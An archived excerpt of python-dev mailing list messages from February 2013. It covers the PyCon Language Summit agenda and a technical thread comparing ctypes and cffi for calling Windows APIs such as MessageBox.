Message-ID: <CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>

On Wed, Feb 27, 2013 at 7:51 PM, Michael Foord <michael at voidspace.org.uk>wrote:

> Hello all,
>
> PyCon, and the Python Language Summit, is nearly upon us. We have a good
> number of people confirmed to attend. If you are intending to come to the
> language summit but haven't let me know please do so.
>
> The agenda of topics for discussion so far includes the following:
>
> * A report on pypy status - Maciej and Armin
> * Jython and IronPython status reports - Dino / Frank
> * Packaging (Doug Hellmann and Monty Taylor at least)
> * Cleaning up interpreter initialisation (both in hopes of finding areas
>   to rationalise and hence speed things up, as well as making things
>   more embedding friendly). Nick Coghlan
> * Adding new async capabilities to the standard library (Guido)
> * cffi and the standard library - Maciej
> * flufl.enum and the standard library - Barry Warsaw
> * The argument clinic - Larry Hastings
>
> If you have other items you'd like to discuss please let me know and I can
> add them to the agenda.
>

I won't be able to visit, so this PyCon promises to be all good nice and
relaxing for everybody. =)
But here is some things that can spice up the meeting in case it becomes
boring.

* poor introspection capabilities
  * if you pause the code - what kind of data you'd like to be available?
  * magical locals() dict that breaks the rules
  * execution frames that lose information present in original source
    (such as function vs method and probably others)
  * as an exercise - try to build a scroller for a running Python script
    * it is impossible for Python 2 and probably for Python 3 as well

* visibility issues with language development
  * physically split the information flow about work being done on
interpreter and stdlib
  * split the information about stdlib development by modules
    * describe modules composing in stdlib in formal way
      https://bitbucket.org/techtonik/python-stdlib
  * build a roadmap by module (join personal wishlist from involved people)
  * external people can not join teams dedicated only to several modules
people are interested in

* IPython and PyPy as a distraction for people who could improve core
language and stdlib here

* security by obscurity in legal position of PSF towards contributors
  https://code.google.com/legal/individual-cla-v1.0.html
   vs
  http://www.python.org/psf/contrib/contrib-form/ +
http://www.samurajdata.se/opensource/mirror/licenses/afl-2.1.php
      or
  http://www.python.org/psf/contrib/contrib-form/ +
http://opensource.org/licenses/apache2.0.php
   and why PSF doesn't comply the 4. Redistribution clause from Apache 2.0
license

* how to get more pictures and less text for reference, especially for
internals
* user story approach for writing PEPs

Can only wish to have a constructive PyCon with great results.
Bye.
-- 
anatoly t.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130227/9692f323/attachment-0001.html>

From p.f.moore at gmail.com  Wed Feb 27 21:31:45 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Wed, 27 Feb 2013 20:31:45 +0000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
Message-ID: <CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>

On 27 February 2013 19:26, Paul Moore <p.f.moore at gmail.com> wrote:
> On 27 February 2013 19:08, Armin Rigo <arigo at tunes.org> wrote:
>> That's not correct: you can't indeed give the calling convention, but
>> it is not needed for the common case.  What is not supported is only
>> Python-defined callbacks using the Windows-specific convention --- as
>> documented, there is a workaround for that case.
>
> OK, that's cool. As I said, I really need to actually experiment with
> cffi - this thread has certainly made me want to do so.

Actually, looking at the cffi documentation, I can't see how I'd
translate the following very simple example of something I do quite a
lot in ctypes:

from ctypes import windll
MessageBox = windll.User32.MessageBoxW
MessageBox(0, "Hello, world!", "Title", 0)

Note - I wrote this from memory, I honestly don't know without looking
it up the precise argument types for MessageBoxW - and even if I did,
I suspect they would all be macros from windows.h. I don't want to
invoke the C compiler by using verify, and I don't see in the docs how
I'd get the macro definitions any other way.

If anyone could show me a cffi equivalent, I'd be very grateful.
Paul

From greg.ewing at canterbury.ac.nz  Wed Feb 27 22:57:50 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Thu, 28 Feb 2013 10:57:50 +1300
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <20130227143141.4aef5635@pitrou.net>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
	<CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
	<CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>
	<20130226202153.2b923404@pitrou.net>
	<512D41F9.3050109@canterbury.ac.nz>
	<20130227143141.4aef5635@pitrou.net>
Message-ID: <512E815E.703@canterbury.ac.nz>

Antoine Pitrou wrote:
> We have to find sufficiently silly species of snakes, though.

Glancing through http://en.wikipedia.org/wiki/List_of_snakes,
we have:

Wart snakes
Java wart snakes
Pipe snakes
Stiletto snakes
Rubber boas
Dog-faced water snakes
Shovel-nosed snakes
Hook-nosed snakes
Leaf-nosed snakes
Lyre snakes
Cat-eyed snakes
Worm snakes
North American hog-nosed snakes
Moccasins
Humpnose vipers
Puff adders
Carpet vipers
False horned vipers
Sunbeam snakes

And then there's this:

http://www.nairaland.com/1009227/new-species-snake-discovered-brazil

-- 
Greg

From tjreedy at udel.edu  Wed Feb 27 23:58:42 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 27 Feb 2013 17:58:42 -0500
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
	<CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
Message-ID: <kgm336$gv5$1@ger.gmane.org>

On 2/27/2013 3:31 PM, Paul Moore wrote:
> from ctypes import windll
> MessageBox = windll.User32.MessageBoxW
> MessageBox(0, "Hello, world!", "Title", 0)
 > Note - I wrote this from memory,

Gee, that is pretty easy. Worked perfectly

-- 
Terry Jan Reedy


From arigo at tunes.org  Thu Feb 28 00:18:44 2013
From: arigo at tunes.org (Armin Rigo)
Date: Thu, 28 Feb 2013 00:18:44 +0100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
	<CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
Message-ID: <CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>

Hi Paul,

On Wed, Feb 27, 2013 at 9:31 PM, Paul Moore <p.f.moore at gmail.com> wrote:
> from ctypes import windll
> MessageBox = windll.User32.MessageBoxW
> MessageBox(0, "Hello, world!", "Title", 0)

You are right that it's a bit cumbersome in cffi up to and including
0.5, but in the cffi trunk all standard Windows types are included.
So the general answer to your question is: we google MessageBox and
copy that line from the microsoft site, and manually remove the
unnecessary WINAPI and _In_opt declarations:

from cffi import FFI
ffi = FFI()
ffi.cdef("""
    int MessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
""")
lib = ffi.dlopen("USER32.DLL")
lib.MessageBox(ffi.NULL, "Hello, world!", "Title", 0)

That's a slightly unfair example, because in this case it happens to
work with ctypes without specifying the argtypes and the restype.  I
would argue that this feature of ctypes is not a good thing: it's
mostly the same as saying "you only need to declare argtypes and
restype if you get nonsense results or segfaults".

Note for completeness that the version with verify() simply replaces
"lib = ffi.dlopen("USER32.DLL")" with "lib = ffi.verify("")" (no
#include necessary here).  Then you cannot misdeclare anything without
getting clear compile-time errors at the verify().  The compilation
occurs only once (it's cached) and by writing two lines in your
setup.py you can distribute binary installations, just like you do
with hand-written C extension modules; so the extra burden of
accessing the API level is in my opinion very small compared to its
segfault-avoiding gain.  But I know that either level of access can
make sense in different situations.  Typically, on Windows, the
ABI-level works fine; as argued elsewhere, on other platforms and/or
with some libraries, the API-level is definitely more suited.


A bient?t,

Armin.

From nyamatongwe at me.com  Thu Feb 28 00:34:56 2013
From: nyamatongwe at me.com (Neil Hodgson)
Date: Thu, 28 Feb 2013 10:34:56 +1100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
	<CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
	<CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>
Message-ID: <A972386D-E663-4CA0-9C6D-433E74259D24@me.com>

Armin Rigo:

> So the general answer to your question is: we google MessageBox and
> copy that line from the microsoft site, and manually remove the
> unnecessary WINAPI and _In_opt declarations:

   Wouldn't it be better to understand the SAL annotations like _In_opt so that spurious NULLs (for example) produce a good exception from cffi instead of failing inside the system call?

   Neil


From ericsnowcurrently at gmail.com  Thu Feb 28 01:49:23 2013
From: ericsnowcurrently at gmail.com (Eric Snow)
Date: Wed, 27 Feb 2013 17:49:23 -0700
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <CADrh4z+CFD_HmgzCrYUTHguiCJt6wqU7ZOY+tD95PDsrA_3LSw@mail.gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
	<CAP1=2W70L2+qw4gHU1QJcWdS0JgTe6P3uFJh_Q+JVHpqSzkPrQ@mail.gmail.com>
	<CADrh4z+CFD_HmgzCrYUTHguiCJt6wqU7ZOY+tD95PDsrA_3LSw@mail.gmail.com>
Message-ID: <CALFfu7C6OS=pj=5q53ziehod95EptHy4adKhYEYjOmZsL6CtdA@mail.gmail.com>

On Wed, Feb 27, 2013 at 12:33 PM, fwierzbicki at gmail.com
<fwierzbicki at gmail.com> wrote:
> There are a couple of spots that might be more controversial. For
> example, Jython has a file Lib/zlib.py that implements zlib in terms
> of the existing Java support for zlib. I do wonder if such a file is
> acceptable in CPython's Lib since its 195 lines of code would be
> entirely skipped by CPython.

Even if it's pure Python, that sounds like an accelerator module (a la
PEP 399) to me.

-eric

From barry at python.org  Thu Feb 28 04:37:49 2013
From: barry at python.org (Barry Warsaw)
Date: Wed, 27 Feb 2013 22:37:49 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <CADrh4z+CFD_HmgzCrYUTHguiCJt6wqU7ZOY+tD95PDsrA_3LSw@mail.gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
	<CAP1=2W70L2+qw4gHU1QJcWdS0JgTe6P3uFJh_Q+JVHpqSzkPrQ@mail.gmail.com>
	<CADrh4z+CFD_HmgzCrYUTHguiCJt6wqU7ZOY+tD95PDsrA_3LSw@mail.gmail.com>
Message-ID: <20130227223749.2f06a328@anarchist.wooz.org>

On Feb 27, 2013, at 11:33 AM, fwierzbicki at gmail.com wrote:

>I am suggesting that we push forward on the "shared library" approach to the
>files in the Lib/* directory, so that would certainly include IronPython and
>PyPy as well I hope.

+1

>The easy part for Jython is pushing some of our "if is_jython:" stuff
>into the appropriate spots in CPython's Lib/.

I wonder if there isn't a better way to do this than sprinkling is_jython,
is_pypy, is_ironpython, is_thenextbigthing all over the code base.  I have no
bright ideas here, but it seems like a feature matrix would be a better way to
go than something that assumes a particular Python implementation has a
particular feature set (which may change in the future).

-Barry

From barry at python.org  Thu Feb 28 04:42:10 2013
From: barry at python.org (Barry Warsaw)
Date: Wed, 27 Feb 2013 22:42:10 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
Message-ID: <20130227224210.288a334d@anarchist.wooz.org>

On Feb 27, 2013, at 04:51 PM, Michael Foord wrote:

>If you have other items you'd like to discuss please let me know and I can
>add them to the agenda.

I'd like to have some discussions around promotion of Python 3, how we can
accelerate its adoption, availability of supporting packages, what critical
projects are still missing, etc.

-Barry

From g.brandl at gmx.net  Thu Feb 28 08:36:19 2013
From: g.brandl at gmx.net (Georg Brandl)
Date: Thu, 28 Feb 2013 08:36:19 +0100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
Message-ID: <kgn1dd$88j$1@ger.gmane.org>

Am 27.02.2013 17:51, schrieb Michael Foord:
> Hello all,
> 
> PyCon, and the Python Language Summit, is nearly upon us. We have a good number of people confirmed to attend. If you are intending to come to the language summit but haven't let me know please do so.
> 
> The agenda of topics for discussion so far includes the following:
> 
> * A report on pypy status - Maciej and Armin
> * Jython and IronPython status reports - Dino / Frank 
> * Packaging (Doug Hellmann and Monty Taylor at least)
> * Cleaning up interpreter initialisation (both in hopes of finding areas
>   to rationalise and hence speed things up, as well as making things
>   more embedding friendly). Nick Coghlan
> * Adding new async capabilities to the standard library (Guido)
> * cffi and the standard library - Maciej
> * flufl.enum and the standard library - Barry Warsaw
> * The argument clinic - Larry Hastings
> 
> If you have other items you'd like to discuss please let me know and I can add them to the agenda.

May I in absentia propose at least a short discussion of the XML fixes
and accompanying security releases?  FWIW, for 3.2 and 3.3 I have no
objections to secure-by-default.

Georg


From arigo at tunes.org  Thu Feb 28 09:02:59 2013
From: arigo at tunes.org (Armin Rigo)
Date: Thu, 28 Feb 2013 09:02:59 +0100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <A972386D-E663-4CA0-9C6D-433E74259D24@me.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
	<CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
	<CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>
	<A972386D-E663-4CA0-9C6D-433E74259D24@me.com>
Message-ID: <CAMSv6X1MX+CJ195GWMcOO9at1hGM9_0YUApqFJrCr_NyugvfjA@mail.gmail.com>

Hi Neil,

On Thu, Feb 28, 2013 at 12:34 AM, Neil Hodgson <nyamatongwe at me.com> wrote:
>    Wouldn't it be better to understand the SAL annotations like _In_opt so that spurious NULLs (for example) produce a good exception from cffi instead of failing inside the system call?

Maybe.  Feel like adding an issue to
https://bitbucket.org/cffi/cffi/issues, with references?  This looks
like a Windows-specific extension, which means that I don't
automatically know about it.


A bient?t,

Armin.

From p.f.moore at gmail.com  Thu Feb 28 09:27:25 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Thu, 28 Feb 2013 08:27:25 +0000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
	<CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
	<CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>
Message-ID: <CACac1F8fPc6sm4M6tHPDKnzpm2R92omGjufkPSS0if+EqoTWQQ@mail.gmail.com>

On 27 February 2013 23:18, Armin Rigo <arigo at tunes.org> wrote:
> from cffi import FFI
> ffi = FFI()
> ffi.cdef("""
>     int MessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
> """)
> lib = ffi.dlopen("USER32.DLL")
> lib.MessageBox(ffi.NULL, "Hello, world!", "Title", 0)

Yeah, that's loads better than 0.5. Presumably ffi.NULL isn't needed
and I can use 0? (After all, 0 and NULL are equivalent in C, so that's
not a correctness issue). The auto-conversion of strings is a huge
improvement.

> That's a slightly unfair example, because in this case it happens to
> work with ctypes without specifying the argtypes and the restype.  I
> would argue that this feature of ctypes is not a good thing: it's
> mostly the same as saying "you only need to declare argtypes and
> restype if you get nonsense results or segfaults".

That's a bit unfair. I'd say "you only need to declare argtypes if
you're dealing with things more complex than integers, strings and
null pointers". Which means you're fine for a huge proportion of the
Windows API.

On the other hand, going to the API level and being able to use all
the Windows constants without having to look them up (their values
aren't documented, so googling doesn't help :-() is a huge plus.

Paul.

From arigo at tunes.org  Thu Feb 28 10:06:00 2013
From: arigo at tunes.org (Armin Rigo)
Date: Thu, 28 Feb 2013 10:06:00 +0100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CACac1F8fPc6sm4M6tHPDKnzpm2R92omGjufkPSS0if+EqoTWQQ@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
	<CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
	<CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>
	<CACac1F8fPc6sm4M6tHPDKnzpm2R92omGjufkPSS0if+EqoTWQQ@mail.gmail.com>
Message-ID: <CAMSv6X1mKg+krOjBYC4Tv3QVoXxpezcmih5TpeX3TNUVKXmTAg@mail.gmail.com>

Hi Paul,

On Thu, Feb 28, 2013 at 9:27 AM, Paul Moore <p.f.moore at gmail.com> wrote:
> Presumably ffi.NULL isn't needed and I can use 0? (After all, 0 and NULL are equivalent in C, so that's
> not a correctness issue).

Indeed.  I created
https://bitbucket.org/cffi/cffi/issue/61/convert-0-to-a-null-pointer.
In C, NULL is typically "#define NULL (void *)0", not just 0, which
means that there are not 100% equivalent.  But it's true that in C you
can pass the constant 0 to mean "a NULL pointer argument".  The fact
that it's not working this way in CFFI is definitely a bug.

>> That's a slightly unfair example, because in this case it happens to
>> work with ctypes without specifying the argtypes and the restype.  I
>> would argue that this feature of ctypes is not a good thing: it's
>> mostly the same as saying "you only need to declare argtypes and
>> restype if you get nonsense results or segfaults".
>
> That's a bit unfair. I'd say "you only need to declare argtypes if
> you're dealing with things more complex than integers, strings and
> null pointers". Which means you're fine for a huge proportion of the
> Windows API.

Yes, you're right, and the 32-bit Windows platform is still important.
 However, it only works on 32-bit.  On typical 64-bit Posix
environments, if you don't declare argtypes/restype, you usually end
up very quickly with confusion between "int" and "long".  And I think
that even on 64-bit Windows, passing 0 as a NULL pointer is buggy,
because it will pass a 32-bit 0.  (It may be that it doesn't actually
make a difference and works anyway, but I'm not sure.)  Similarly, a
function that returns a pointer (e.g. a handle on Windows) will not
work without an explicit restype on any 64-bit platform I know of.
"Explicit is better than implicit"...


A bient?t,

Armin.

From fijall at gmail.com  Thu Feb 28 10:06:20 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Thu, 28 Feb 2013 11:06:20 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CACac1F8fPc6sm4M6tHPDKnzpm2R92omGjufkPSS0if+EqoTWQQ@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
	<CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
	<CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>
	<CACac1F8fPc6sm4M6tHPDKnzpm2R92omGjufkPSS0if+EqoTWQQ@mail.gmail.com>
Message-ID: <CAK5idxR-Px3muq9=MYtrAJeCBJA_4pZV4FYx7C2UZwh-mN_PVA@mail.gmail.com>

On Thu, Feb 28, 2013 at 10:27 AM, Paul Moore <p.f.moore at gmail.com> wrote:
> On 27 February 2013 23:18, Armin Rigo <arigo at tunes.org> wrote:
>> from cffi import FFI
>> ffi = FFI()
>> ffi.cdef("""
>>     int MessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
>> """)
>> lib = ffi.dlopen("USER32.DLL")
>> lib.MessageBox(ffi.NULL, "Hello, world!", "Title", 0)
>
> Yeah, that's loads better than 0.5. Presumably ffi.NULL isn't needed
> and I can use 0? (After all, 0 and NULL are equivalent in C, so that's
> not a correctness issue). The auto-conversion of strings is a huge
> improvement.
>
>> That's a slightly unfair example, because in this case it happens to
>> work with ctypes without specifying the argtypes and the restype.  I
>> would argue that this feature of ctypes is not a good thing: it's
>> mostly the same as saying "you only need to declare argtypes and
>> restype if you get nonsense results or segfaults".
>
> That's a bit unfair. I'd say "you only need to declare argtypes if
> you're dealing with things more complex than integers, strings and
> null pointers". Which means you're fine for a huge proportion of the
> Windows API.

No, if the int is of the wrong size or you pass int instead of float
(but you meant float) you get nonsense or segfaults.

From p.f.moore at gmail.com  Thu Feb 28 10:21:25 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Thu, 28 Feb 2013 09:21:25 +0000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAMSv6X1mKg+krOjBYC4Tv3QVoXxpezcmih5TpeX3TNUVKXmTAg@mail.gmail.com>
